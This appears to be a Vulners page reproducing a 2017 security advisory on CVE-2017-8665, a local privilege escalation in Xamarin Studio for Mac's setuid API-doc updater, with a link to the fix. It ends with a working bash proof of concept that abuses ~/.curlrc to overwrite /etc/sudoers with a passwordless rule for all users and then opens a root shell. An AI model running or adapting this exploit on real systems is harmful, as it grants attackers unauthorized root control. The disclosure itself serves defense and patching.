Lucene search
K

Xamarin Studio For Mac 6.2.1 (Build 3) / 6.3 (Build 863) Privilege Escalation

🗓️ 14 Aug 2017 00:00:00Reported by Yorick KosterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Xamarin Studio Mac 6.2.1/6.3 Privilege Escalation due to API doc update mechanism flaw

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Xamarin Studio for Mac 6.2.1 (build 3)/6.3 (build 863) - Privilege Escalation Vulnerability
15 Aug 201700:00
zdt
Circl
CVE-2017-8665
14 Aug 201700:00
circl
CNVD
Microsoft Xamarin.iOS Elevation of Privilege Vulnerability
15 Aug 201700:00
cnvd
CVE
CVE-2017-8665
15 Aug 201718:00
cve
Cvelist
CVE-2017-8665
15 Aug 201718:00
cvelist
Microsoft KB
Security update 2017-08-14
14 Aug 201707:00
mskb
Kaspersky
KLA11123 PE vulnerability in Xamarin.iOS
14 Aug 201700:00
kaspersky
Microsoft CVE
Xamarin.iOS Elevation Of Privilege Vulnerability
14 Aug 201707:00
mscve
NVD
CVE-2017-8665
15 Aug 201718:29
nvd
OpenVAS
Xamarin Studio Privilege Escalation Vulnerability - Mac OS X
17 Aug 201700:00
openvas
Rows per page
`------------------------------------------------------------------------  
Xamarin Studio for Mac API documentation update affected by local  
privilege escalation  
------------------------------------------------------------------------  
Yorick Koster, April 2017  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
Xamarin Studio is an Integrated Development Environment (IDE) used to  
create iOS, Mac and Android applications. Xamarin Studio supports  
developments in C# and F# (by default). The API documentation update  
mechanism of Xamarin Studio for Mac is installed as setuid root. This  
update mechanism contains several flaws that could be leveraged by a  
local attacker to gain elevated (root) privileges.  
  
------------------------------------------------------------------------  
See also  
------------------------------------------------------------------------  
- CVE-2017-8665  
-   
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8665  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully verified on Xamarin Studio for Mac version  
6.2.1 (build 3) and version 6.3 (build 863).  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
Microsoft released a new version of Xamarin.iOS that addresses this  
issue:  
https://support.microsoft.com/en-us/help/4037359  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html  
  
Looking at the script, the first thing that probably stands out is the fact the script uses an insecure work directory. This directory is created under /tmp, the only 'random' part is the process identifier of the script. Since these identifiers are sequential it is not very hard for an attacker to predict what the folder name will be. It is even possible to pre-create all possible folder names (as symbolic links). The script performs very little error checking, if a certain step fails (eg, the target directory exists) the script usually continues executing the next command.  
  
TMPDIR=/tmp/ios-docs-download.$$  
  
This folder is used for storing a number of .NET Assemblies (DLLs) that are later used by the mdoc application. If the folder ~/Library/Developer/Shared/Documentation/DocSets does not exist, the script will download a DMG file from internet, mount it and extract files from a PKG files that is located in the DMG file. Since the attacker can control the work directory it is (partially) possible to control where the files are extracted.  
  
Before the DMG is mounted and the files are extracted, the script first checks the MD5 digest of the DMG file against a hard coded value. This check can be circumvented using a named pipe. In this case the attacker can return the original DMG file when the MD5 check is done, and return a different one when it is mounted with hdiutil. Using symbolic links the attacker can control the mount root where the DMG file will be mounted, for example the DMG file can be mounted under /etc. The files located in the DMG file will appear in a folder under this mount root.  
  
# See if we have apple doc and if not get it  
if test -d $APPLE_DOCSET_PATH; then  
source=$APPLE_DOCSET_PATH  
else  
full_url=$BASE_URL/$FILE  
target_path=$TMPDIR/$FILE  
  
if test x$TMPDIR = x; then  
echo TMPDIR is invalid.  
exit 1  
fi  
  
mkdir $TMPDIR  
curl -o $target_path $full_url  
#cp /tmp/ios-docs-download.4184/091-9917-A.dmg $target_path  
sum=`md5 -q $target_path`  
mount_path=$TMPDIR/mount  
tmp_unpack=$TMPDIR/unpack  
if test x$sum = x$EXPECTED; then  
mkdir $mount_path  
if hdiutil attach $target_path -mountroot $mount_path -nobrowse > $TMPDIR/output; then  
dir_path=`awk '$2 ~ /Apple_HFS/ { print $3}' $TMPDIR/output`  
pkgutil --expand $dir_path/iOSDocset.pkg $tmp_unpack  
  
cd $tmp_unpack  
bzip2 < Payload | cpio -dmiv  
  
A local attacker could in theory craft an attack that creates a folder at a particular location, which is used by another process running with elevated privileges. An example would be to mount the DMG at /etc/sudoers.d to add a sudo configuration that allows the local user to run a command as root without requiring a password. On most systems the /etc/sudoers.d is already present, in this case hdiutil will mount the DMG at another location (usually /etc/sudoers.d 2) preventing this particular attack scenario.  
  
Another approach for attacking this script is to look at the binaries it uses. Often these binaries have their own set of environment variables and or configuration files they use. In case of setuid root binaries the environment is partly controllable by the user calling the binary. One of the binaries used is curl that supports a number of environment variables. In addition, it checks whether a configuration file is present in ~/.curlrc. In our case it will check the home folder of the user running apple-doc-wizard. Consequently, the curl configuration file is fully controllable by the local attacker. Exploiting this issue is very trivial, using the url and output configuration options it is possible to download a file from any URL and store it in any arbitrary location. Since curl is run as root, it is possible to overwrite or create any local file. The following proof of concept can be used to demonstrate this issue:  
  
#!/bin/bash  
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)  
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard  
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard  
rm -rf ~/Library/Developer/Shared/Documentation/DocSets  
  
cat << __EOF > /private/tmp/sudoers  
%everyone ALL=(ALL) NOPASSWD: ALL  
__EOF  
  
cat << __EOF > ~/.curlrc  
url=file:///private/tmp/sudoers  
output=/private/etc/sudoers  
__EOF  
  
echo  
echo "*** press CRL+C when the download starts ***"  
$target  
echo  
  
sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'  
  
rm -f /private/tmp/sudoers ~/.curlrc  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Aug 2017 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.10758
43